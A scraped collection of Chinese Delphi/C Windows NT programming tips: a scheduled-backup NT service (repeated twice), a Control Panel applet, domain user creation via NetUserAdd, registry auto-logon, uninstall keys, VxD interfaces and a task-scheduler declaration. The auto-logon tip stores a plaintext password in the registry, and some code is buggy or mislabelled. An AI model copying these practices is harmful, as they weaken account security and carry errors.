这样，一个NT服务程序编写已经完成，在Delphi编辑器中选择菜单Run|Parameters，在Parameters中输入/install，程序编译运行后，一个名为DataBackup的NT服务程序已经安装好，你可以双击控制面板中的服务项目，将会看到此服务程序，只是此服务程序没有任何东西而已；在Delphi编辑器中选择菜单Run|Parameters，在Parameters中输入/uninstall，程序编译运行后，系统将会将此服务程序卸掉。
服务程序是通过控制一个线程的生成、暂停、继续、停止来达到服务目的的，因此我们必须加入一个TSession对象来编写文件自动备份代码，在Delphi编辑器中选择菜单中的File|New，在New
    Item中选择Thread Object项，Delphi会提示你为该TSession对象输入一个名称(输入DataCopy),Delphi便生成了一个基于TSession的DataCopy对象，并提供了一个Execute过程供重载，我们要Execute过程中输入以下程序：
var
Hour, Min, Sec, MSec: Word;
TimeStamp, DirectoryEdit1, DirectoryEdit2: String;
SearchRec: TSearchRec;
Source, Temp, Dest: Pchar;
F, F1: THandle;
FF, FF1: WIN32_FIND_DATA;
Begin

// 每次文件备份执行时间
TimeStamp:= '12:00';

// 文件备份源目录
DirectoryEdit1:= 'C:\temp';

// 文件备份目录
DirectoryEdit2:= 'C:\temp1';
While True do
Begin
DecodeTime(Time, Hour, Min, Sec, MSec);
IF Trim(TimeStamp) = Format('%-2.2d:%-2.2d',[Hour, Min]) then
Begin
GetMem(Source, 250);
GetMem(Dest, 250);
GetMem(Temp, 250);
StrPcopy(Dest, DirectoryEdit2 + '\' + FormatDateTime('YYYYMMDD', Date));
CreateDirectory(Dest, Nil);
IF FindFirst(DirectoryEdit1 + '\*.*', faAnyFile, SearchRec) = 0 then
Begin
Repeat
StrPcopy(Source, DirectoryEdit1 + '\' + SearchRec.Name);
StrPcopy(Dest, DirectoryEdit2+'\' + FormatDateTime('YYYYMMDD', Date)
   + '\' + SearchRec.Name);
CopyFile(Source, Dest, False);
Until FindNext(SearchRec) <> 0;
end;
SysUtils.FindClose(SearchRec);
FindClose(F);
FreeMem(Source, 250);
FreeMem(Dest, 250);
FreeMem(Temp, 250);
end;
Sleep(60000);
end;
end;
此线程执行时每隔一分钟将检查一次时间，看是否到了备份时间，如果是则将DirectoryEdit1中的所有文件拷到DirectoryEdit2目录中去。
现在编写服务控制DataCopy线程的代码，在TdataBackup对象中的OnStart、OnStop、OnPause、OnContinue事件中分别输入如下代码：
Procedure TDataBackup.DataBackupStart(Sender: TService;
var Started: Boolean);
begin
DataThread:= TDataCopy.Create(False);
Started := True;
end;

procedure TDataBackup.DataBackupStop(Sender: TService;
var Stopped: Boolean);
begin
DataThread.Terminate;
Stopped := True;
end;

procedure TDataBackup.DataBackupPause(Sender: TService;
var Paused: Boolean);
begin
DataThread.Suspend;
Paused := True;
end;

procedure TDataBackup.DataBackupContinue(Sender: TService;
var Continued: Boolean);
begin
DataThread.Resume;
Continued := True;
end;
这样一个文件自动备份程序已经完成，编译好后，加上/install参数执行程序，系统会将此服务程序安装，由于服务程序中StartType属性为stAuto，NT每次启动时，此程序自动执行，你可以在控制面板中的服务项目来启动、暂停、恢复、停止它，也可以加上/uninstall参数执行程序来卸掉它。通过上述例子我们可以看到，用Delphi编写NT服务器程序十分方便，而且你也可以在TService对象上加许多非可视化控件来与数据库关联，实现很多复杂的功能。


用Delphi编写控制面板程序

赵海飞

摘要：

对计算机的运行环境的配置有多种方法，而在WINDOWS 9X/NT中引入了一种新的方法，即控制面板。利用控制面板配置环境，方便直观。本文详细地介绍了控制面板程序的原理和编写方法，并给出了用Delphi4.0编写的一个实际例子。

关键字：

控制面板程序、动态链接库、消息处理、注册表

前言：

我们在编写软件时,有的时候需要用户对应用环境进行参数设置。常见的做法有编写一个安装程序，在安装过程中进行参数配置，或者在软件中提供一个专门的功能选项，用户在使用时可以利用这些功能选项来配置。这两种方法尤其是后者是一般软件中最常用的方法。在这里，向大家介绍一种新的方法：即利用控制面板程序（Control Panel applets）进行参数设置。我们都知道，在WINDOWS 9X/NT 中提供了控制面板，用户可以通过它很轻松地完成各种环境变量的设置，例如输入方法、ODBC等等。本文将用一个很简单的例子来说明如何在Delphi中实现控制面板程序。

1.控制面板程序

1.1CPlApplet

控制面板程序是一种特殊的动态链接库(DLL)，首先，其扩展名与一般的动态链接库不同，不是.DLL而是为.cpl。其次，它的标准入口函数不是DllMain()而是CplApplet()。CplApplet接收从控制面板发来的消息并作出相应的反映。CPlApplet的函数原形如下：

function CPlApplet(

hwndCPl:HWND; //程序主窗口的句柄

uMsg:word; //发送到控制面板程序的消息

lParam1:Longint; //消息参数

lParam2:Longint //消息参数

):Longint

uMsg有如下几种形式：

消息 | 发生时刻 | 相应的处理方法
CPL_DBLCLK | 用户双击了该程序对应的图标 | 显示程序的主界面
CPL_EXIT | CPL_STOP之后 | 释放所有资源
CPL_GETCOUNT | CPL_INIT后 | 返回程序中对话框的数目
CPL_INIT | 程序被装入内存后 | 初始化工作
CPL_INQUIRE* | CPL_GETCOUNT后 | 设定某个特定窗口的性质
CPL_NEWINQUIRE | CPL_GETCOUNT后 | 设定某个特定窗口的性质
CPL_SELECT* |  |
CPL_STOP | 程序关闭之前 | 释放对话框资源

* 是与旧版本的Windows兼容,Windows 9X/NT 4.0不再使用。

1.2控制面板程序中的消息处理过程

CPlApplet函数处理发送到控制面板程序的所有消息。发送到控制面板程序的消息是按照一定的顺序进行的。

① 当程序被装入内存时，CPlApplet函数接收到CPL_INT消息。当接收到该消息后，CPlApplet函数应该作一些初始化的工作，例如分配内存等。如果初始化完成，应该返回非零，否则，返回零，这样程序将被终止。

② 如果CPL_INT被成功处理，CPlApplet函数将接收到CPL_GETCOUNT消息。CPlApplet必须返回对话框的数目。

③ 接着，CPlApplet接收到CPL_NEWINQUIRE消息。此时的lParam2是一个指向NEWCPL_INFO结构的指针。

Type

NEWCPL_INFO =Record

dwSize:Longword; //该结构的大小

dwFlags:Longword; //未用

dwHelpContext:Longword; //未用

lData:integer; //当消息为CPL_DBCLICK或CPL_STOP时，其为返回值

hIcon:HICON; //对话框的图标的句柄

szName:array[0..31] of char; //在控制面板中图标下的说明文字。

szInfo:array[0..63] of char; //在控制面板中状态行中的说明信息。

szHelpFile:array[0..127] of char; //未用

End;

接收到该消息后，CPlApplet必须填充该结构。指出其名称，提示信息、图标等。

④ 接着，CPlApplet接收到CPL_DBCLICK消息，在这里，一般是显示对话框以及处理用户的输入等。

⑤ 当用户关闭程序时，CPlApplet接收到CPL_STOP消息。此时应该释放分配的内存资源，若无，则可以忽略这一步。

⑥ 接着，CPlApplet接收到CPL_EXIT消息，Unregister各种窗口。

⑦ 最后，系统调用FreeLibrary将DLL(该控制面板程序)从内存中卸出。

一般情况下，我们只需处理CPL_DBCLICK和CPL_NEWINQUIRE即可。

2.一个简单的例子：

本例是一个CPL的演示程序，其作用在于为某个客户软件设置其Socket的通信端口。该端口值放在HKEY_LOCAL_MACHINE\Software\silicon\papers下的port中。通过该程序可以更改其端口号。

其源代码如下：

//mycpl.dpr的源代码

library mycpl;

uses

SysUtils, Classes, u_main in 'u_main.pas' {f_main};

{$E cpl}

exports

CPlApplet ;

begin

end.

//u_main.pas的源代码

unit u_main;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ComCtrls, ToolWin, StdCtrls, Buttons,registry;

type

Tf_main = class(TForm)

edPort: TEdit;

btnOk: TBitBtn;

btnCancel: TBitBtn;

Label1: TLabel;

procedure FormCreate(Sender: TObject);

procedure btnOkClick(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

type

NEWCPLINFO =record // ncpli

dwSize:Longword;

dwFlags:Longword;

dwHelpContext:Longword;

lData:integer;

hIcon:HICON;

szName:array[0..31] of char;

szInfo:array[0..63] of char;

szHelpFile:array[0..127] of char;

end;

type

PNEWCPLINFO=^NEWCPLINFO;

const CPL_INIT=1;

const CPL_GETCOUNT=2;

const CPL_INQUIRE=3;

const CPL_SELECT=4;

const CPL_DBLCLK=5;

const CPL_STOP=6;

const CPL_EXIT=7;

const CPL_NEWINQUIRE= 8;

var

f_main: Tf_main;

aa:TIcon;

RegF:TRegistry;

function CPlApplet(hwndCPl:HWND; uMsg:word;lParam1:Longint; lParam2:Longint):Longint ;stdcall;

function OnInquire(uAppNum:word; pInfo:PNEWCPLINFO):integer;stdcall;

function OnDblclk(hwndCPl:HWND;uAppNum:word;lData:integer):integer;stdcall;

implementation

{$R *.DFM}

{$R icon.res}

//处理各种消息

Function CPlApplet(hwndCPl:HWND; uMsg:word;lParam1:Longint; lParam2:Longint):Longint ;stdcall;

begin

case uMsg of

CPL_DBLCLK:

OnDblclk(hwndCPl, lParam1, lParam2);

CPL_EXIT:

result:=0;

CPL_GETCOUNT:

result:=1;

CPL_INIT:

result:=1;

CPL_NEWINQUIRE:

OnInquire(lParam1, PNEWCPLINFO(lParam2));

CPL_INQUIRE:

result:= 0; // not handled

CPL_SELECT:

result:=1;

CPL_STOP:

result:=1;

else

result:=0;

end;

result:=1;

end;

//填充NEWCPLINFO结构。

function OnInquire(uAppNum:word; pInfo:PNEWCPLINFO):integer;stdcall;

begin

with pInfo^ do

begin

dwSize:=sizeof(NEWCPLINFO);

dwFlags:=0;

dwHelpContext := 0;

lData := 0;

hIcon:=loadicon(hinstance,'I1');

szName:='MyDemo';

szInfo:='MyDemo 系统设置';

szHelpFile:='';

end;

result:=0;

end;

//显示对话框

function OnDblclk(hwndCPl:HWND;uAppNum:word;lData:integer):integer;stdcall;

var

f_main:TF_main;

begin

f_main:=TF_main.Create(application);

f_main.ShowModal;

result:=0;

end;

//将port的值从注册表中读出，写到Edit edPort中。

procedure Tf_main.FormCreate(Sender: TObject);

var

port:integer;

begin

aa:=ticon.Create;

aa.Handle :=loadicon(hinstance ,'I1');

if(aa.Handle =0) then showmessage('error icon');

icon:=aa;

RegF:=TRegistry.Create;

RegF.RootKey:=HKEY_LOCAL_MACHINE;

RegF.OpenKey('SOFTWARE\Silicon\papers',True);

Port:=0;

if regF.ValueExists ('port')=true then

port:=RegF.ReadInteger('port');

edPort.Text :=inttostr(port);

RegF.CloseKey;

RegF.Free ;

end;

//将port的值写回注册表

procedure Tf_main.btnOkClick(Sender: TObject);

begin

RegF:=TRegistry.Create;

RegF.RootKey:=HKEY_LOCAL_MACHINE;

RegF.OpenKey('SOFTWARE\Silicon\papers',True);

RegF.WriteInteger('port', strtoint(edPort.text));

RegF.CloseKey;

RegF.Free ;

end;

end.

说明：

① 其中 icon.res中包含了程序的图标，所以在程序中加入一句{$R icon.res}。

② {$E cpl}表示动态连接库的扩展名为cpl。

③ exports关键字后的表示输出的函数，只需输出CplApplet即可。

3．控制面板程序的安装：

在Delphi中选择project|bulid mycpl编译程序。Mycpl是该示例程序的名字。然后将mycpl.cpl拷贝到Windows目录下的System目录下即可(在Windows NT 下是System32)。然后选择|开始|设置控制面板即可看到结果。

双击MyDemo，将显示对话框：

该程序在Windows 95,Windows 98,Windows NT4.0下已测试通过。


NT域添加用户及本地组

在NT DOMAIN中添加一用户(其主组为(DOMAIN USER)及一本地组并把用户加入到此组中
NET_API_STATUS NetSample( LPWSTR lpszDomain,
LPWSTR lpszUser,
LPWSTR lpszPassword,
LPWSTR lpszLocalGroup )
{

USER_INFO_1 user_info;
LOCALGROUP_INFO_1 localgroup_info;
LOCALGROUP_MEMBERS_INFO_3 localgroup_members;
LPWSTR lpszPrimaryDC = NULL;
NET_API_STATUS err = 0;
DWORD parm_err = 0;

/* First get the name of the Primary Domain Controller. */
/* Be sure to free the returned buffer */

err = NetGetDCName( NULL, /* Local Machine */
lpszDomain, /* Domain Name */
(LPBYTE *)&lpszPrimaryDC ); /* returned PDC */

if ( err != 0 )
{
printf( "Error getting DC name: %d\n", err );
return( err );
}

/* Set up the USER_INFO_1 struct */

user_info.usri1_name = lpszUser;
user_info.usri1_password = lpszPassword;
user_info.usri1_priv = USER_PRIV_USER;
user_info.usri1_home_dir =LPWSTR("");
user_info.usri1_comment = LPWSTR("Sample User");
user_info.usri1_flags = UF_SCRIPT;
user_info.usri1_script_path = LPWSTR("");

err = NetUserAdd( lpszPrimaryDC, /* PDC name */
1, /* level */
(LPBYTE)&user_info, /* input buffer */
&parm_err ); /* parameter in error */

switch ( err )
{
case 0:
printf("user successfully created.\n");
break;
case NERR_UserExists:
printf("user already exists.\n");
err = 0;
break;
case ERROR_INVALID_PARAMETER:
printf("Invalid Parameter Error adding user:Parameter Index = %d\n",
parm_err);
NetApiBufferFree( lpszPrimaryDC ); return( err );
default:
printf("Error adding user: %d\n", err);
NetApiBufferFree( lpszPrimaryDC );
return( err );
}

/* Set up the LOCALGROUP_INFO_1 struct */

localgroup_info.lgrpi1_name = lpszLocalGroup;
localgroup_info.lgrpi1_comment =LPWSTR("Sample Local group.");

    err = NetLocalGroupAdd( lpszPrimaryDC,
/* PDC name
*/
1,
/* level
*/
(LPBYTE)&localgroup_info,   /* input buffer
*/
&parm_err
);
/* parm in error */

switch ( err )
{
case 0:
printf("Local Group successfully created.\n");
break;
case ERROR_ALIAS_EXISTS:
printf("Local Group already exists.\n");
err = 0;
break;
case ERROR_INVALID_PARAMETER:
printf("Invalid Parameter Error adding Local Group:Parameter Index = %d\n",
err, parm_err);
NetApiBufferFree( lpszPrimaryDC );
return( err );
default:
printf("Error adding Local Group: %d\n", err);
NetApiBufferFree( lpszPrimaryDC );
return( err );
}

/* Now add the user to the local group */

localgroup_members.lgrmi3_domainandname = lpszUser;

err = NetLocalGroupAddMembers( lpszPrimaryDC, /* PDC name */
lpszLocalGroup, /* group name */
3, /* passing in name */
(LPBYTE)&localgroup_members, /* Buffer */
1 ); /* count passed in */

switch ( err )
{
case 0:
printf("User successfully added to Local Group.\n");
break;
case ERROR_MEMBER_IN_ALIAS:
printf("User already in Local Group.\n");
err = 0;
break;
default:
printf("Error adding User to Local Group: %d\n", err);
break;
}

NetApiBufferFree( lpszPrimaryDC );
return( err );
}


直接进入NT不用登录

 修改HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
下的以下值：（如没有请加入,全为REG_SZ）
1、AutoAdminLogon
2、DefaultDomainName
3、DefaultUserName
4、DefaultPassword
其中1为“1”时是允许自动登录，为“0”禁止。
其它三项照实填就是了。


禁止拖动时显示窗口内容

 procedure TForm1.Button1Click(Sender: TObject);
var
b : bool;
begin
SystemParametersInfo(SPI_GETDRAGFULLWINDOWS, 0, @b, 0);
if not b then
ShowMessage('Full Window Drag is not enabled') else
ShowMessage('Full Window Drag is enabled');
end;


制作返安装程序

操作注册表，如下：
1.在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall键下建立一个主键，名称任意。
例HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyUninstall
2.在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyUnistall下键两个串值，
这两个串值的名称是特定的：DisplayName和UninstallString。
3.给串DisplayName赋值为显示在“删除应用程序列表”中的名称，如'Aiming Uninstall one';
给串UninstallString赋值为执行的删除命令，如 C:\WIN97\uninst.exe -f"C:\TestPro\aimTest.isu"

ok.这下你的应用程序已经被注册到可由win95删除状态了


VxD与外界通讯的所有接口

详述C++语言的VxD与外界通讯的所有接口

一.什么是VxD?

---- 从多任务操作系统Windows 3.1起,计算机中的任一物理设备x可同时被基于Dos或Windows的多个进程使用,这种一对多的关系称为"设备虚拟化",各进程通过运行在核心层的VxD(虚拟x设备驱动程序)存取物理设备x.操作系统提供给用户的软件服务也可以用VxD实现.计算机中的其它资源,如CPU,内存等也可同时被多个进程使用,各进程在系统提供的虚拟机(VM)环境下存取这类资源.

---- VxD可由虚拟机管理器(VMM)在开机时装入核心层(称静态装入,即置VxD于c:\windows\system目录下,在c:\windows\system.ini文件中,对节[386Enh]加一行"device=此VxD文件名"),或由应用程序实时装入(称动态装入),而后,各进程便可存取锁定在内存中的VxD数据区,以实时控制VxD的行为,VxD的内部结构可防止两个进程同时存取其数据区.VxD通过响应VMM发给它的事件与外界交互.

---- Windows 95中,基于Dos的每个进程在单独的VM中运行(称在V86模式下运行),既可按Dos单进程方式,在640k低内存中运行(称在实模式下运行),又可利用多进程环境的优点,在整个内存中运行(称在保护模式下运行),以通过95的DPMI接口存取内存高端的Windows图形环境.其它16位或32位应用程序均在同一系统VM中运行.

---- 下面只讨论95环境下的VxD.

二. VxD的创建:

---- 1. 由汇编语言创建VxD:需安装微软公司的Win32 SDK及DDK.

---- 2. 由C或C++语言创建VxD:需安装VC2.0或BC4.0,及Vireo Software公司的VToolsD软件包.VToolsD含3个实用工具:可创建VxD框架的QuickVxD;可动态装卸VxD的VxD Loader;可显示内存VxD特性的VxD Viewer;

---- QuickVxD含7个对话页:

---- (1) Device Parameters页包括:最多8个字符的VxD名,唯一标识号(ID),相对其它VxD的装入顺序(VxD Viewer可显出某VxD的装入顺序值Init Order,若指定新VxD的装入顺序小于此Init Order,则新VxD将在此VxD前被装入),实现语言(C或C++),静、动态装入方式等.

---- (2) VxD Services页包括:可被其它VxD访问的接口(称为VxD服务),要求本VxD的ID>0,且未与内存各VxD的ID值冲突. 此ID可向微软公司申请,也可使用Vireo公司的VIREO_TEST_ID(3180h).下称此类ID为接口ID.

---- (3) API页包括:可被应用程序在实模式/V86模式下、保护模式下、DPMI的实模式/V86模式下、DPMI的保护模式下访问的接口(统称应用接口),前两者要求本VxD提供接口ID,后两者只要求本VxD提供以0结尾的唯一标识串;访问前,先要静态或动态装入本VxD(第4者要求静态装入). 第1,3者可被普通汇编程序访问,第2,4者可被在BC的windows 3.x(16)平台上生成的Windows程序访问.

---- (4) Control Messages页包括: 对出现在Windows 3.1及Windows 95中各消息的响应,如静态装入时的DYNAMIC_INIT消息.

---- (5) Windows95 Control Messages页包括: 对只出现在Windows 95中各消息的响应,如动态装入时的SYS_DYNAMIC_INIT消息.

---- (6) 用C++实现VxD时,Classes页包括: 从虚拟设备驱动程序类VDevice派生的类名(如MyDevice),此类的成员函数将接收(4)及(5)页中出现的大多数消息.

---- 从VM实例类VVirtualMachine派生的类名(如MyVM),此类的成员函数将接收贯穿在VM生命期中的各消息,如系统VM初启消息Sys_VM_Init;

---- 从线程实例类VThread派生的类名(如MyThread).此类的成员函数将接收贯穿在线程生命期中的各消息,如新线程初启消息THREAD_INIT;

---- (7) Output Files页包括: 体现以上内容的3个VxD文件(.h,.c或.cpp,.mak)将被存放的目录位置.

---- 3. C++语言的VxD与外界通讯的所有接口: 我们将简要实现my.VxD的应用接口及服务,它们均作为类的函数成员,存于my.h,my.cpp中.

---- (1) 被32位C应用程序访问的接口:

---- 应用程序先用CreateFile打开VxD,后用DeviceIoControl使VMM发送W32_DEVICEIOCONTROL消息给VxD:

---- HANDLE h;char ibuf[2],obuf[2];BOOL r;DWORD oc;OVERLAPPED o;

----h=CreateFile("\\\\.\\my.vxd",0,0,0,0,FILE_FLAG_DELETE_ON_CLOSE,0); //打开静态my.VxD,或动态装入my.VxD

---- r=DeviceIoControl(h,命令码C,ibuf,sizeof(ibuf),obuf,sizeof(obuf),&oc,NULL或&o); /*与my.VxD的事件过程OnW32DeviceIoControl交换数据,用ibuf向VxD传数据,用obuf从VxD取 数据,VxD传回的数据总量放在oc中*/

---- CloseHandle(h);//关闭或动态卸下VxD

---- my.VxD应在windows 95 control messages页上选W32_DEVICEIOCONTROL事件,在 DWORD MyDevice::OnW32DeviceIoControl(PIOCTLPARAMS p)事件过程中写:

switch(p->dioc_IOCtlCode){
case 命令码C:
     用p指向的IOCTLPAR
   AMS结构,与应用程序交换数据;
if (成功) return(0); /*
使DeviceIoControl的返回值r为TRUE*/
else return(1);
       default:
return(0);
    }
---- 以上做法要求VxD立即交换数据(同步通讯),值FILE_FLAG_DELETE_ON_CLOSE指明 CloseHandle将不在内存中保留引用记数为0的VxD.

---- VxD也可延迟交换数据,此时,应用程序先传值FILE_FLAG_DELETE_ON_CLOSE|FILE_FLAG_OVERLAPPED

---- 到CreateFile,用o.hEvent=CreateEvent(0,TRUE,0,NULL)创建事件,再传o的地址到DeviceIoControl,然后用GetOverlappedResult(h,&o,&oc,TRUE)在o上睡眠.

---- 此时,p->lpoOverlapped一定大于0,VxD可用VMM服务_LinPageLock,按页上锁p->dioc_InBuf指向的应用程序ibuf区,p->dioc_OutBuf指向的obuf区,p->lpoOverlapped指向的o结构.要交换数据时,可置数据及数据总量到p->dioc_OutBuf及p->lpoOverlapped->O_InternalHigh,然后调用VMM服务

---- VWIN32_DIOCCompletionRoutine(p->lpoOverlapped->O_Internal)唤醒应用程序.

---- VMM动态装卸VxD时,以命令码0及-1发送W32_DEVICEIOCONTROL消息给VxD,故Vireo公司建议命令码C取[2048,4095].

---- (2) 被Real/V86模式下16位应用程序访问的接口:

---- my.VxD先要指定接口ID(如3180h),再在API页上选Standard Application Entry Points框中的Real/V86 Mode标签,即可生成MyDevice::V86_API_Entry入口,访问它的汇编程序是:

entry	dd	?
mov	ax,1684h     ;功能号
mov	bx,3180h     ;接口ID
int	2fh	     ;取入口的段/
偏移到es/di,成功时,
di及es返回非零值

mov 	ax,es
or 	ax,di
jz 	L0

mov	word ptr [entry],di
mov	word ptr [entry+2],es

mov	ah,码C
call 	[entry]
---- L0: 错误处理
MyDevice::V86_API_Entry(VMHANDLE hVM
,CLIENT_STRUCT* p)入口可以是:
if (p->CBRS.Client_AH==码C) p->CBRS.Client_AL=0;
---- (3) 被保护模式下16位应用程序访问的接口:

---- 与(2)类似,但选Protected Mode标签,即可生成MyDevice::PM_API_Entry入口,访问它的程序是:

int PASCAL WinMain(HANDLE h1,HANDLE h0,
LPSTR lpCmdLine,int nCmdShow){
FARPROC entry; //32位
_asm{
mov	ax,1684h
mov	bx,3180h
int	2fh;取入口的选择符/偏移到es/di,成功时,di及es返回非零值

mov 	ax,es
 or 	ax,di
 jz 	L0

mov	word ptr [entry],di
mov	word ptr [entry+2],es

mov	ah,码C
call    [entry]
   }
---- 对PM_API_Entry的处理如(3.2).

---- (4) 被DPMI的实模式/V86模式下16位应用程序访问的接口:

---- 与(2)类似,但在API页上选Vendor Specific Application Entry Points中的Real/V86 Mode标签,然后在Vendor ID String中输入唯一标识串my,即可生成My_V86VendorEntry::handler入口,访问它的程序是:

str	db 'my',0 	;VxD的唯一标识串
entry	dd ?
mov ax,168Ah 	;功能号
lea si,str    ;要求ds/si值是str的段值/偏移值
int 2Fh	;取入口的段/偏移到es/di,成功时,al返回0
cmp al,0
jne L0
mov word ptr [entry],di
mov word ptr [entry+2],es
...
call [entry]
---- 对handler的处理如(3.2).

---- (5) 被DPMI的保护模式下16位应用程序访问的接口: 与(4)类似,但选Protected Mode标签,即可生成My_ProtVendorEntry::handler入口,访问它的程序是:

int PASCAL WinMain(HANDLE h1,HANDLE h0,
LPSTR lpCmdLine,int nCmdShow){
char *id="my";
FARPROC entry;
 _asm{
mov ax,168Ah
mov si,id
int 2Fh ;取入口的选择符/偏移到es/di
cmp al,0
    ...
    }
}
---- 对handler的处理如(3.2).

---- (6) 可被其它VxD访问的接口:

---- 若your.VxD欲调my.VxD的做两数相减的minus接口,需在my.VxD的VxD service页上输入原型DWORD _cdecl minus(DWORD i,DWORD j),再在MyDevice::minus中,写return(i-j);

---- your.mak中,需处理中间文件wrap.cpp:

OBJECTS=your.OBJ wrap.obj
...
wrap.OBJ:wrap.cpp my.h
---- wrap.cpp中,对带参数的VxD服务,需用VMM宏指令VxDJmp转入,各参数进入wrap时,已按C的调用约定入栈;对不带参数VxD服务,可调用VMM宏指令VxDCall(接口名):
#include "my.h"
DWORD _cdecl MyDevice::
minus(DWORD i,DWORD j){
VxDJmp(minus);
}
---- your.cpp的某一函数f,可用VMM服务Get_DDB,查my.VxD是否已装入,若未装入,则用VxDLDR服务
---- VxDLDR_LoadDevice将其装入:
#define DEVICE_MAIN
#include "your.h"
Declare_Virtual_Device(YOUR)
#undef DEVICE_MAIN
---- #include "my.h" //此行需在DEVICE_MAIN外
VOID f(){
PDEVICEINFO pinfo;
PDDB pddb;
DWORD r;
pddb=Get_DDB(0,"MY  ");
//用空格补全长度小于8的VxD名
if (pddb==0) {//未装入
r=VxDLDR_LoadDevice("my.VxD",
VxDLDR_INIT_DEVICE,&pinfo,&pddb);
if (r!=0) //VxDLDR_LoadDevice未能成功装入my.VxD
return;
}
MyDevice::minus(值1,值2);
}


创建服务程序

运用Delphi编写Windows NT中服务程序

---- Windows NT服务程序不同于一般的运行程序，它不需要NT登录进去，只需要开机进入NT系统便可以运行，一般用于系统服务方面的应用，学会编写NT服务程序对网络管理人员而言是非常重要的，Delphi4.0作为一种高效、快速、强大的开发语言，为开发NT服务程序提供了非常便捷的方法，加上其可视化界面以及与数据库的完美结合，使我们开发与数据库有关的NT服务程序变得非常简单，下面以编写一个NT定期备份程序为例，介绍如何运用Delphi编写Windows NT的服务程序。

---- 打开Delphi编辑器，选择菜单中的File|New，在New Item中选择Service Application项，Delphi便自动为你建立一个基于TServiceApplication的新工程，TserviceApplication是一个封装NT服务程序的类，它包含一个Tservice1对象以及服务程序的装卸、注册、取消方法。

---- 将Tservice1对象的属性做下列更改：

DisplayName与Name改为：DataBackup，
ServiceStartName属性改为系统管理员
用户(如DOMAIN\Administrator)和Password则输入用户密码

---- 这样，服务程序运行时将自己以该用户的权限操作NT。

---- 这样，一个NT服务程序编写已经完成，在Delphi编辑器中选择菜单Run|Parameters，在Parameters中输入/install，程序编译运行后，一个名为DataBackup的NT服务程序已经安装好，你可以双击控制面板中的服务项目，将会看到此服务程序，只是此服务程序没有任何东西而已；在Delphi编辑器中选择菜单Run|Parameters，在Parameters中输入/uninstall，程序编译运行后，系统将会将此服务程序卸掉。

---- 服务程序是通过控制一个线程的生成、暂停、继续、停止来达到服务目的的，因此我们必须加入一个Tsession对象来编写文件自动备份代码，在Delphi编辑器中选择菜单中的File|New，在New Item中选择Thread Object项，Delphi会提示你为该Tsession对象输入一个名称(输入DataCopy),Delphi便生成了一个基于Tsession的DataCopy对象，并提供了一个Execute过程供重载，我们要Execute过程中输入以下程序：

var
   Hour, Min, Sec, MSec: Word;
   TimeStamp,DirectoryEdit1,DirectoryEdit2:String;
   SearchRec: TSearchRec;
   Source,Temp,Dest:Pchar;
   F,F1:THandle;
   FF,FF1:WIN32_FIND_DATA;
Begin
   {每次文件备份执行时间}
   TimeStamp:='12:00';
   {文件备份源目录}
   DirectoryEdit1:='C:\temp';
   {文件备份目录}
   DirectoryEdit2:='C:\temp1';
   while True do
       begin
        DecodeTime(Time,Hour, Min, Sec, MSec);
          IF Trim(TimeStamp)=Format
('%-2.2d:%-2.2d',[Hour,Min]) then
          begin
            GetMem(Source,250);
            GetMem(Dest,250);
            GetMem(Temp,250);

StrPcopy(Dest,DirectoryEdit2+'\
'+FormatDateTime('YYYYMMDD',Date));
CreateDirectory(Dest,nil);
IFFindFirst(DirectoryEdit1+'\*.*',faAnyFile,
 SearchRec)=0 then
              begin
                repeat
StrPcopy(Source,DirectoryEdit1+'\'+SearchRec.Name);

StrPcopy(Dest,DirectoryEdit2+'\'
+FormatDateTime('YYYYMMDD',Date)+'\'+SearchRec.Name);
                  copyfile(Source,Dest,False);
                until FindNext(SearchRec)< >0;
              end;
            SysUtils.FindClose(SearchRec);
           FindClose(F);
           FreeMem(Source,250);
           FreeMem(Dest,250);
           FreeMem(Temp,250);
          end;
        sleep(60000);
   end;

end;
---- 此线程执行时每隔一分钟将检查一次时间，看是否到了备份时间，如果是则将DirectoryEdit1中的所有文件拷到DirectoryEdit2目录中去。

---- 现在编写服务控制DataCopy线程的代码，在TdataBackup对象中的OnStart、OnStop、OnPause、OnContinue事件中分别输入如下代码：

procedure TDataBackup.DataBackupStart
(Sender: TService;
  var Started: Boolean);
begin
   DataThread:= TDataCopy.Create(False);
   Started := True;
end;

procedure TDataBackup.DataBackupStop
(Sender: TService;
  var Stopped: Boolean);
begin
  DataThread.Terminate;
  Stopped := True;
end;

procedure TDataBackup.DataBackupPause
(Sender: TService;
  var Paused: Boolean);
begin
  DataThread.Suspend;
  Paused := True;
end;

procedure TDataBackup.DataBackupContinue
(Sender: TService;
  var Continued: Boolean);
begin
  DataThread.Resume;
  Continued := True;
end;
---- 这样一个文件自动备份程序已经完成，编译好后，加上/install参数执行程序，系统会将此服务程序安装，由于服务程序中StartType属性为stAuto，NT每次启动时，此程序自动执行，你可以在控制面板中的服务项目来启动、暂停、恢复、停止它，也可以加上/uninstall参数执行程序来卸掉它。通过上述例子我们可以看到，用Delphi编写NT服务器程序十分方便，而且你也可以在Tservice对象上加许多非可视化控件来与数据库关联，实现很多复杂的功能。


调用计划任务程序

type
TAT_INFO = record
JobTime:
DWord;
DaysOfMonth: DWord;
DaysOfWeek: UCHAR;
Flags: UCHAR;
Command: PWideChar;
end;

PAT_INFO = ^TAT_INFO;
NET_API_STATUS = LongInt;
function NetScheduleJobAdd(ServerName: PWideChar; Buffer: PAT_INFO; var JobID: LongInt): NET_API_STATUS; external 'netapi32.dll' name 'NetScheduleJobAdd';
unit insjob;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;

type
TAT_INFO = record
JobTime:
DWord;
DaysOfMonth: DWord;
DaysOfWeek: UCHAR;
Flags: UCHAR;
Command: PWideChar;
end;

PAT_INFO = ^TAT_INFO;
NET_API_STATUS = LongInt;

TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

function NetScheduleJobAdd(ServerName: PWideChar; Buffer: PAT_INFO; var JobID: PDWord): NET_API_STATUS;stdcall;

var
Form1: TForm1;

implementation
{$R *.DFM}
function NetScheduleJobAdd; external 'netapi32.dll' name 'NetScheduleJobAdd';

